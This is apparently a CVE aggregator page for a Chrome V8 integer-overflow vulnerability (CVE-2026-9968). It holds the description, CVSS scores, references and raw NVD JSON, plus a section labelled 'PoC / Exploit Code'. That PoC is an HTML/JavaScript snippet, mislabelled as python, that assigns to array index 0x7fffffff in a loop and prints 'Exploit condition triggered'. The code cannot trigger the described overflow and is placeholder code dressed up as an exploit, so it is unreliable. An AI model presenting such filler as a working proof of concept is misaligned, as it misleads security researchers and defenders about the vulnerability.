CVE-2026-9968

Description

Integer overflow in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-9968 (Conceptual)
  This script attempts to trigger the integer overflow in V8.
  Note: Actual exploitation requires specific heap grooming and ROP chains.
-->
<html>
<head>
<script>
function trigger_overflow() {
    // Simulate the condition that causes the overflow
    let arr = new Array(2048);
    let corrupt_idx = 0x7fffffff; // Potential overflow point
    
    try {
        // Malicious operations targeting V8 optimization
        for (let i = 0; i < 100000; i++) {
            arr[corrupt_idx] = i; 
        }
        console.log("Exploit condition triggered.");
    } catch (e) {
        console.log("Failed to trigger: " + e);
    }
}

trigger_overflow();
</script>
</head>
<body>
<p>Check console for output.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9968
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9968
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9968/
[4] VulDB https://vuldb.com/cve/CVE-2026-9968
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/506499280

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9968", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:55.017", "lastModified": "2026-05-29T12:16:29.997", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/506499280", "source": "[email protected]"}]}}